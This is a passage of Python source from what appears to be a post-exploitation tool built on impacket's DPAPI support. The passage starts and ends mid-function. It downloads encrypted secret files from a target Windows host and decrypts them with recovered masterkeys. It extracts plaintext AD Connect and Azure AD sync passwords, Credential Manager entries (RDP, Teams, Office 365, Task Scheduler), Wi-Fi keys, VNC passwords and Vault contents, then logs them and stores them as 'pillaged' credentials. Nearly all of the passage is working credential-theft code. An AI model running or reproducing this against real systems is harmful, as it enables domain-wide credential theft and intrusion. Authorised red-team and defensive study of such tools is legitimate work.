self.logging.debug(f"[{self.options.target_ip}] Looking for ADConnect masterkey : {guid}")
if guid != None:
machine_user = user = self.GetUserByName('MACHINE$')
masterkey = self.get_masterkey(user=machine_user, guid=guid, type='MACHINE')
if masterkey != None:
if masterkey['status'] == 'decrypted':
mydpapi.options.key = masterkey['key']
# cred_data = mydpapi.decrypt_credential()
cryptkeys = [
mydpapi.decrypt_blob(raw_data=result['data'], entropy=string_to_bin(mdbdata['entropy']))]
try:
logging.debug(f'Decrypting encrypted AD Sync configuration data with {cryptkeys}')
for index, record in enumerate(mdbdata['cryptedrecords']):
# Try decrypting with highest cryptkey record
self.logging.debug(f"[{self.options.target_ip}] {index} - {record}")
drecord = DumpSecrets.decrypt(record, cryptkeys[-1]).replace('\x00', '')
# print(drecord)
with open('r%d_xml_data.xml' % index, 'w') as outfile:
data = base64.b64decode(mdbdata['xmldata'][index]).decode('utf-16-le')
outfile.write(data)
with open('r%d_encrypted_data.xml' % index, 'w') as outfile:
outfile.write(drecord)
ctree = ET.fromstring(drecord)
dtree = ET.fromstring(data)
if 'forest-login-user' in data:
logging.debug('Local AD credentials')
el = dtree.find(".//parameter[@name='forest-login-domain']")
if el is not None:
logging.debug('\tDomain: %s', el.text)
username = el.text
el = dtree.find(".//parameter[@name='forest-login-user']")
if el is not None:
username += '/' + el.text
# logging.debug('\tUsername: %s', el.text)
else:
# Assume AAD config
logging.debug('Azure AD credentials')
el = dtree.find(".//parameter[@name='UserName']")
if el is not None:
username = el.text
logging.debug('\tUsername: %s', el.text)
# Can be either lower or with capital P
fpw = None
el = ctree.find(".//attribute[@name='Password']")
if el is not None:
fpw = el.text
el = ctree.find(".//attribute[@name='password']")
if el is not None:
fpw = el.text
if fpw:
# fpw = fpw[:len(fpw)/2] + '...[REDACTED]'
logging.debug('\tPassword: %s', fpw)
info += f"{username} : {fpw}\n"
self.logging.info(
f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} ADCONNECT : {bcolors.OKGREEN} - {username} : {fpw}{bcolors.ENDC}")
############PROCESSING DATA
self.db.add_credz(credz_type='ADConnect',
credz_username=username,
credz_password=fpw,
credz_target='',
credz_path='', # user.files['ADCONNECT']['path'],
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Get_AD_Connect 2{bcolors.ENDC}")
self.logging.debug(ex)
else:
self.logging.info(
f"[{self.options.target_ip}] [+] {bcolors.WARNING} Masterkey NOT Found for ADConnect {bcolors.ENDC}")
return info
def Get_DPAPI_Protected_Files(self):
self.logging.info(
f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering DPAPI Secret blobs on the target{bcolors.ENDC}")
blacklist = ['.', '..']
# credentials ?
# Vaults ?
# Parse chrome
# autres navigateurs ?
# CredHistory
# Appdata Roaming ?
user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', 'DOMAIN'),
("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*',
'credential', 'MACHINE-USER'),
(
"Users\\{username}\\AppData\\Roaming\\Microsoft\\Credentials", '*', 'credential', 'DOMAIN'),
(
"Users\\{username}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings",
"*.rdg", 'rdg', 'DOMAIN')
] # ADD Desktop for RDG
machine_directories = [("Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", '*',
'credential', 'MACHINE'),
("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*',
'credential', 'MACHINE-USER'),
("Users\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential',
'MACHINE-USER'),
# Valider le %systemdir% selon la version de windows ?
]
for user in self.users:
if user.username == 'MACHINE$':
directories_to_use = machine_directories
else:
directories_to_use = user_directories
# if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
for info in directories_to_use:
my_dir, my_mask, my_blob_type, my_user_type = info
tmp_pwd = my_dir.format(
username=user.username) ##ntpath.join(ntpath.join('Users', user.username), my_dir)
self.logging.debug(
f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
for infos in my_directory:
longname, is_directory = infos
self.logging.debug("ls returned file %s" % longname)
if longname not in blacklist and not is_directory:
try:
self.logging.debug(
f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} encrypted files {longname}")
# Downloading Blob file
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname))
user.files[longname] = {}
user.files[longname]['type'] = my_blob_type
user.files[longname]['status'] = 'encrypted'
user.files[longname]['path'] = localfile
myoptions = copy.deepcopy(self.options)
myoptions.file = localfile # Masterkeyfile to parse
myoptions.masterkeys = None # user.masterkeys_file
myoptions.key = None
mydpapi = DPAPI(myoptions, self.logging)
guid = mydpapi.find_CredentialFile_masterkey()
self.logging.debug(f"[{self.options.target_ip}] Looking for {longname} masterkey : {guid}")
if guid != None:
masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
if masterkey != None:
if masterkey['status'] == 'decrypted':
mydpapi.options.key = masterkey['key']
cred_data = mydpapi.decrypt_credential()
if cred_data != None:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Secret {longname}{bcolors.ENDC}")
user.files[longname]['status'] = 'decrypted'
user.files[longname]['data'] = cred_data
self.process_decrypted_data(user, user.files[
longname]) # cred_data,user,localfile,my_blob_type)
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
self.logging.debug(ex)
return 1
def GetWifi(self):
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Wifi Keys{bcolors.ENDC}")
blacklist = ['.', '..']
machine_directories = [("ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces", '*.xml')]
for info in machine_directories:
user = self.GetUserByName('MACHINE$')
my_dir, my_mask = info
# interface name
self.logging.debug(f"[{self.options.target_ip}] [+] Looking for interfaces in {my_dir}") # No mask
my_directory = self.myfileops.do_ls(my_dir, '*', display=False)
for infos in my_directory:
longname, is_directory = infos
if longname not in blacklist and is_directory:
self.logging.debug(f"[{self.options.target_ip}] [+] Got Wifi interface {longname}")
tmp_pwd = ntpath.join(my_dir, longname)
my_directory2 = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
for infos2 in my_directory2:
longname2, is_directory2 = infos2
if longname2 not in blacklist and not is_directory2:
self.logging.debug(f"[{self.options.target_ip}] [+] Got wifi config file {longname2}")
# Downloading Blob file
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname2))
user.files[longname2] = {}
user.files[longname2]['type'] = 'wifi'
user.files[longname2]['status'] = 'encrypted'
user.files[longname2]['path'] = localfile
with open(localfile, 'rb') as f:
try:
file_data = f.read().replace(b'\x0a', b'').replace(b'\x0d', b'')
wifi_name = re.search(b'<name>([^<]+)</name>', file_data)
wifi_name = wifi_name.group(1)
user.files[longname2]['wifi_name'] = wifi_name
key_material_re = re.search(b'<keyMaterial>([0-9A-F]+)</keyMaterial>', file_data)
if not key_material_re:
continue
key_material = key_material_re.group(1)
# with open("key_material.tmp", "wb") as f:
# f.write(binascii.unhexlify(key_material))
except Exception as ex:
self.logging.error(f"{bcolors.WARNING}Error in wifi parsing{bcolors.ENDC}")
self.logging.debug(ex)
try:
myoptions = copy.deepcopy(self.options)
myoptions.file = None # "key_material.tmp" # BLOB to parse
myoptions.key = None
myoptions.masterkeys = None # user.masterkeys_file
mydpapi = DPAPI(myoptions, self.logging)
guid = mydpapi.find_Blob_masterkey(raw_data=binascii.unhexlify(key_material))
self.logging.debug(
f"[{self.options.target_ip}] Looking for {longname2} masterkey : {guid}")
if guid != None:
masterkey = self.get_masterkey(user=user, guid=guid, type='MACHINE')
if masterkey != None:
if masterkey['status'] == 'decrypted':
mydpapi.options.key = masterkey['key']
# cred_data = mydpapi.decrypt_credential()
cred_data = mydpapi.decrypt_blob(
raw_data=binascii.unhexlify(key_material))
if cred_data != None:
user.files[longname2]['status'] = 'decrypted'
user.files[longname2]['data'] = cred_data
user.files[longname2]['secret'] = cred_data
self.logging.info(
f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} Wifi {bcolors.OKBLUE}{wifi_name} {bcolors.OKGREEN} - {cred_data}{bcolors.ENDC}")
############PROCESSING DATA
self.db.add_credz(credz_type='wifi',
credz_username=wifi_name.decode('utf-8'),
credz_password=cred_data.decode('utf-8'),
credz_target=wifi_name.decode('utf-8'),
credz_path=user.files[longname2]['path'],
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
# semf.process_decrypted_data(user.files[longname2])#cred_data, user, localfile, type='wifi', args=[wifi_name])
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFIBlob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
except Exception as ex:
self.logging.error(
f"{bcolors.WARNING}Exception decrypting wifi credentials{bcolors.ENDC}")
self.logging.debug(ex)
return 1
def GetVNC(self):
try:
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering VNC Passwords{bcolors.ENDC}")
myvnc = Vnc(self.myregops, self.myfileops, self.logging, self.options, self.db)
myvnc.vnc_from_filesystem()
myvnc.vnc_from_registry()
except Exception as ex:
self.logging.error(f"{bcolors.WARNING}Exception IN VNC GATHERING{bcolors.ENDC}")
self.logging.debug(ex)
def GetVaults(self):
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Vaults{bcolors.ENDC}")
blacklist = ['.', '..', 'UserProfileRoaming']
# credentials ?
# Vaults ?
# Parse chrome
# autres navigateurs ?
# CredHistory
user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Vault", '*', 'vault', 'DOMAIN')]
machine_directories = [("ProgramData\\Microsoft\\Vault", '*', 'vault', 'MACHINE'),
("Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault\\", '*',
'vault', 'MACHINE')] # Windows hello pincode
for user in self.users:
if user.username == 'MACHINE$':
directories_to_use = machine_directories
else:
directories_to_use = user_directories
if len(user.masterkeys_file) > 0: # Pas de masterkeys==pas de datas a recup
for info in directories_to_use:
my_dir, my_mask, my_blob_type, my_user_type = info
tmp_pwd = my_dir.format(
username=user.username) # f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
self.logging.debug("Looking for %s Vaults in %s with mask %s" % (user.username, tmp_pwd, my_mask))
my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
for infos in my_directory:
longname, is_directory = infos
self.logging.debug("ls returned %s" % longname)
if longname not in blacklist and is_directory:
self.logging.debug("Got Vault Directory %s" % longname)
tmp_pwd2 = ntpath.join(tmp_pwd, longname)
try:
# First get the Policy.vpol
local_vpol_file = self.myfileops.get_file(ntpath.join(tmp_pwd2, "Policy.vpol"))
user.files[longname] = {}
user.files[longname]['type'] = my_blob_type
user.files[longname]['status'] = 'encrypted'
user.files[longname]['UID'] = longname
user.files[longname]['path'] = tmp_pwd2
user.files[longname]['vpol_path'] = local_vpol_file
user.files[longname]['vpol_status'] = 'encrypted'
user.files[longname]['vsch'] = {}
user.files[longname]['vcrd'] = {}
user.files[longname]['data'] = ''
# Decrypt the keys
myoptions = copy.deepcopy(self.options)
myoptions.vcrd = None # Vault File to parse
myoptions.masterkeys = None
myoptions.vpol = local_vpol_file
myoptions.key = None
mydpapi = DPAPI(myoptions, self.logging)
guid = mydpapi.find_Vault_Masterkey()
if guid != None:
masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
if masterkey != None:
if masterkey['status'] == 'decrypted':
mydpapi.options.key = masterkey['key']
keys = mydpapi.decrypt_vault()
if keys != None:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKGREEN}Vault Policy file Decryption successfull - {local_vpol_file}{bcolors.ENDC}")
tmp_vaultkeys = []
if keys['Key1']['Size'] > 0x24:
tmp_vaultkeys.append(
'0x%s' % binascii.hexlify(keys['Key2']['bKeyBlob']))
tmp_vaultkeys.append(
'0x%s' % binascii.hexlify(keys['Key1']['bKeyBlob']))
else:
tmp_vaultkeys.append(
'0x%s' % binascii.hexlify(
keys['Key2']['bKeyBlob']['bKey']).decode('latin-1'))
tmp_vaultkeys.append(
'0x%s' % binascii.hexlify(
keys['Key1']['bKeyBlob']['bKey']).decode('latin-1'))
self.logging.debug(
f"[{self.options.target_ip}] Saving {len(tmp_vaultkeys)} Vault keys {bcolors.ENDC}")
user.files[longname]['vpol_status'] = 'decrypted'
user.files[longname]['status'] = 'decrypted'
user.files[longname]['data'] = tmp_vaultkeys
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}")
continue
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
continue
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
continue
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
continue
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}")
self.logging.debug(ex)
continue
# Look for .vsch : Vault Schema file
# Then gets *.vcrd files
my_directory2 = self.myfileops.do_ls(tmp_pwd2, my_mask, display=False)
self.logging.debug(
f"[{self.options.target_ip}] Found {len(my_directory2)} files in {tmp_pwd2}")
for infos2 in my_directory2:
longname2, is_directory2 = infos2
self.logging.debug("ls returned file %s" % longname2)
if longname2 not in blacklist and not is_directory2 and not longname2 == "Policy.vpol":
try:
# Downloading Blob file
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd2, longname2))
if longname2[-4:] == 'vsch': # PAS G2R2 pour le moment
user.files[longname]['vsch'][localfile] = {}
user.files[longname]['vsch'][localfile]['status'] = 'encrypted'
user.files[longname]['vsch'][localfile]['type'] = 'vsch'
user.files[longname]['vsch'][localfile]['vault_name'] = longname2
user.files[longname]['vsch'][localfile]['path'] = localfile
continue
elif longname2[-4:] == 'vcrd':
user.files[longname]['vcrd'][localfile] = {}
user.files[longname]['vcrd'][localfile]['status'] = 'encrypted'
user.files[longname]['vcrd'][localfile]['type'] = 'vcrd'
user.files[longname]['vcrd'][localfile]['vault_name'] = longname2
user.files[longname]['vcrd'][localfile]['path'] = localfile
myoptions = copy.deepcopy(self.options)
myoptions.vcrd = localfile # Vault File to parse
myoptions.vaultkeys = tmp_vaultkeys
myoptions.vpol = None
myoptions.key = None
mydpapi = DPAPI(myoptions, self.logging)
vault_data, data_type = mydpapi.decrypt_vault()
if vault_data != None:
user.files[longname]['vcrd'][localfile]['status'] = 'decrypted'
user.files[longname]['vcrd'][localfile]['data'] = vault_data
user.files[longname]['vcrd'][localfile]['vault_type'] = data_type
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username} {bcolors.OKGREEN}Vault .vcrd Decryption successfull - {localfile}{bcolors.ENDC}")
self.process_decrypted_vault(user, user.files[longname]['vcrd'][
localfile]) # vault_data,user,localfile,my_blob_type,args=[longname2,data_type])
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting vcrd Vault with Masterkey - {longname2} {bcolors.ENDC}")
self.logging.debug(ex)
return 1
def dump_to_file(self, localfile_encrypted, localdata_decrypted):
self.logging.debug(f"[{self.options.target_ip}] Dumping decrypted {localfile_encrypted} to file{bcolors.ENDC}")
try:
localfile_decrypted = os.path.join(os.path.split(localfile_encrypted)[0],
os.path.split(localfile_encrypted)[1] + "_decrypted")
fh = open(localfile_decrypted, 'wb')
fh.write(f"{localdata_decrypted}".encode('utf-8'))
fh.close()
return 1
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_to_file{bcolors.ENDC}")
self.logging.debug(ex)
def process_decrypted_data(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]):
try:
self.logging.debug(f"[{self.options.target_ip}] [+] process_decrypted_data of {secret_file} {bcolors.ENDC}")
blob_type = secret_file['type']
localfile = secret_file['path']
data = secret_file['data']
if blob_type == 'rdg':
self.logging.debug("IT S A Remote Desktop Cred file")
clear_data = self.dump_credential_blob(data)
elif blob_type == 'credential':
if 'Domain:target=TERMSRV' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=TERMSRV' in \
data['Target'].decode('utf-16le'):
clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
elif 'Domain:target=msteams' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=msteams' in \
data['Target'].decode('utf-16le'):
self.logging.debug("IT S A MSTeam Credential!")
clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
elif 'Domain:batch=TaskScheduler' in data['Target'].decode(
'utf-16le') or 'LegacyGeneric:target=msteams' in data['Target'].decode('utf-16le'):
self.logging.debug("IT S A TaskScheduler Cred!")
clear_data = self.dump_CREDENTIAL_TASKSCHEDULER(user, localfile, data)
'''Domain:batch=TaskScheduler:Task:{31368695-xxxxxxxxxxx}
Username : Domain\Administrateur
Unknown3 : @&&&&&&&
'''
elif 'Domain:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode(
'utf-16le') or 'LegacyGeneric:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode(
'utf-16le'):
self.logging.debug("IT S A Office365 Cred!")
clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
'''
[CREDENTIAL]
LastWritten : 2020-02-18 08:48:39
Flags : 48 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x3 (CRED_PERSIST_ENTERPRISE)
Type : 0x1 (CRED_PERSIST_SESSION)
Target : LegacyGeneric:target=MicrosoftOffice15_Data:SSPI:v.xxxxxxx@xxxxxx.com
Description :
Unknown :
Username :
Unknown3 : xxxxxxxxx
'''
elif 'WindowsLive:target=virtualapp/didlogical' in data['Target'].decode('utf-16le'):
self.logging.debug("IT S A Windows Live service or application Cred!")
clear_data = self.dump_credential_blob(user, localfile, data)
# ADCONNECT
elif 'Microsoft_AzureADConnect_KeySet' in data['Target'].decode('utf-16le'):
self.logging.debug(f"{bcolors.WARNING}IT S A Microsoft_AzureADConnect_KeySet Cred!{bcolors.ENDC}")
clear_data = self.Get_AD_Connect(user, localfile, data)
elif 'LegacyGeneric:target=' in data['Target'].decode('utf-16le'): # Autres Targets
self.logging.debug("Other legacy Credential")
clear_data = self.dump_credential_blob(user, localfile, data)
else:
self.logging.debug("Unknown Cred Target content - testing as Credential BLOB")
clear_data = self.dump_credential_blob(user, localfile, data)
# clear_data = ''
secret_file['secret'] = clear_data
self.dump_to_file(localfile, clear_data)
self.logsecret(clear_data)
# TSE Account
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
def dump_credential_blob(self, user, localfile, decrypted_blob):
# from impacket.ese import getUnixTime
try:
self.logging.debug("Dumping decrypted credential blob info to file")
# self.logging.debug(decrypted_blob)
info = "\n"
info += f"[CREDENTIAL]\n"
try:
info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
self.logging.debug(info)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
self.logging.debug(ex)
info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
try:
info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
password = f"{decrypted_blob['Unknown3'].decode('utf-16le')}"
except UnicodeDecodeError:
info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
password = f"{decrypted_blob['Unknown3'].decode('latin-1')}"
# print()
if "WindowsLive:target=virtualapp" not in f"{decrypted_blob['Target'].decode('utf-16le')}": # "WindowsLive:target=virtualapp/didlogical" On ne gere pas pour le moment// A voir pour rassembler le contenu en 1 nouveau blob ?
for entry in decrypted_blob.attributes:
try:
info += f"KeyWord : {entry['KeyWord'].decode('utf-16le')}\n"
info += f"Flags : {entry['Flags']}, {impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, entry['Flags'])}\n"
info += f"Data : {entry['Data']}\n"
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 2 decrypted_blob.attributes {bcolors.ENDC}")
self.logging.debug(ex)
entry.dump()
continue
############PROCESSING DATA
self.db.add_credz(credz_type='credential-blob',
credz_username=decrypted_blob['Username'].decode('utf-16le'),
credz_password=password,
credz_target=decrypted_blob['Target'].decode('utf-16le'),
credz_path=localfile,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
self.logging.debug(info)
return info
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
self.logging.debug(ex)
def dump_CREDENTIAL_TSE(self, user, localfile, decrypted_blob):
# from impacket.ese import getUnixTime
try:
self.logging.debug("Dumping TSE decrypted credential blob info to file")
# self.logging.debug(decrypted_blob)
info = "\n"
info += f"[CREDENTIAL]\n"
try:
info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
self.logging.debug(ex)
info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
try:
info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
password = decrypted_blob['Unknown3'].decode('utf-16le')
except UnicodeDecodeError:
info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
password = decrypted_blob['Unknown3'].decode('latin-1')
############PROCESSING DATA
self.db.add_credz(credz_type='browser-internet_explorer',
credz_username=decrypted_blob['Username'].decode('utf-16le'),
credz_password=password,
credz_target=decrypted_blob['Target'].decode('utf-16le'),
credz_path=localfile,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
self.logging.debug(info)
return info
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
self.logging.debug(ex)
def dump_CREDENTIAL_MSOFFICE(self, user, localfile, decrypted_blob):
# from impacket.ese import getUnixTime
try:
self.logging.debug("Dumping Microsoft Office decrypted credential blob info to file")
# self.logging.debug(decrypted_blob)
info = "\n"
info += f"[CREDENTIAL]\n"
try:
info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
self.logging.debug(ex)
info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
try:
info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
password = decrypted_blob['Unknown3'].decode('utf-16le')
except UnicodeDecodeError:
info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
password = decrypted_blob['Unknown3'].decode('latin-1')
############PROCESSING DATA
self.db.add_credz(credz_type='browser-internet_explorer',
credz_username=decrypted_blob['Username'].decode('utf-16le'),
credz_password=password,
credz_target=decrypted_blob['Target'].decode('utf-16le'),
credz_path=localfile,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
self.logging.debug(info)
return info
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
self.logging.debug(ex)
def dump_CREDENTIAL_TASKSCHEDULER(self, user, localfile, decrypted_blob):
# from impacket.ese import getUnixTime
try:
self.logging.debug("Dumping TASKSCHEDULER decrypted credential blob info to file")
# self.logging.debug(decrypted_blob)
info = "\n"
info += f"[CREDENTIAL]\n"
try:
info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
self.logging.debug(ex)
info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
try:
info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
password = decrypted_blob['Unknown3'].decode('utf-16le')
except UnicodeDecodeError:
info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
password = decrypted_blob['Unknown3'].decode('latin-1')
############PROCESSING DATA
self.db.add_credz(credz_type='taskscheduler',
credz_username=decrypted_blob['Username'].decode('utf-16le'),
credz_password=password,
credz_target=decrypted_blob['Target'].decode('utf-16le'),
credz_path=localfile,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
self.logging.debug(info)
return info
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
self.logging.debug(ex)
def process_decrypted_vault(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]):
try:
self.logging.debug(
f"[{self.options.target_ip}] [+] process_decrypted_vault of {secret_file} {bcolors.ENDC}")
blob_type = secret_file['type']
